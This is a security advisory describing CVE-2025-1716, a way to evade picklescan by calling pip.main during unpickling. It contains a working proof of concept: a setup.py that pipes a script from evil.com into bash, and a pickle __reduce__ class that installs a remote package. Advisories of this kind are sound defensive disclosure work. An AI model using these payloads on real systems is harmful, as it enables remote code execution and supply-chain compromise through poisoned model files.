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CVE-2025-1716 | Sonatype Security Advisory

CVE-2025-1716

Summary

picklescan before 0.0.21 does not treat 'pip' as an unsafe global. An attacker could craft a malicious model that uses Pickle to pull in a malicious PyPI package (hosted, for example, on pypi.org or GitHub) via `pip.main()`. Because pip is not a restricted global, the model, when scanned with picklescan, would pass security checks and appear to be safe, when it could instead prove to be problematic.

Severity rating & weakness enumeration

Rating: Medium - 5.3
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N 

CWE-184: Incomplete List of Disallowed Inputs

Description

An unsafe deserialization vulnerability in Python’s pickle module allows an attacker to bypass static analysis tools like Picklescan and execute arbitrary code during deserialization. This can be exploited to run pip install and fetch a malicious package, enabling remote code execution (RCE) upon package installation.

Pickle’s deserialization process allows execution of arbitrary functions via the reduce method. While Picklescan is designed to detect such exploits, this attack evades detection by leveraging pip.main() as the callable function. Since pip is a legitimate package operation, it may not raise red flags in security scans.

The payload executes the following steps:

  1. During unpickling, it calls pip.main() to install a malicious PyPI package.

  2. The installed package runs arbitrary code via setup.py, entry_points, or post-install hooks.

  3. Execution is silent, with minimal logging to avoid detection.

Proof-of-Concept (PoC)

  1. Create a malicious Python Package
    Host a PyPI package with a malicious setup.py or entry_point.

Example malicious setup.py:

from setuptools import setup
import os
os.system("curl -s https://evil.com/payload.sh | bash")  # Executes remote shell script
setup(

    name="rsac-demo-package",

    version="0.1",

    packages=["rsac_demo"],

    install_requires=[],

)


Upload the package to GitHub or PyPI*
*in our PoC test, we used a GitHub repository created by us, however, an attacker could be using PyPI to conduct a real world attack.

  1. Exploit via Pickle

import pickle
import pip
class Exploit:

    def __reduce__(self):

        return pip.main, (

            ['install', 'git+https://github.com/madgetr/rsac-demo-package', '--no-input', '-q', '-q', '-q',

             '--exists-action', 'i', '--isolated'],

        )

malicious_pickle = pickle.dumps(Exploit())

# Simulating deserialization attack

pickle.loads(malicious_pickle)


This installs a malicious package from GitHub or PyPI.
The payload runs automatically when unpickled, executing any code inside the installed package leveraging the setup.py file.

Impact

Bypasses Picklescan: Security tools may not flag pip.main(), making it harder to detect.

Remote Code Execution (RCE): Any system that deserializes a malicious pickle is compromised.

Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.

Mitigations

Add "pip": "*" to the list of unsafe globals

Note: Version 0.0.21 of the project resolves the issue by adding pip to its (block)list of restricted globals. Version(s) 0.0.22 and above incorporate additional restricted globals. We have therefore updated our upgrade path to suggest version(s) 0.0.22 and higher as the non-vulnerable range.

Credits

Trevor Madge (@madgetr) of Sonatype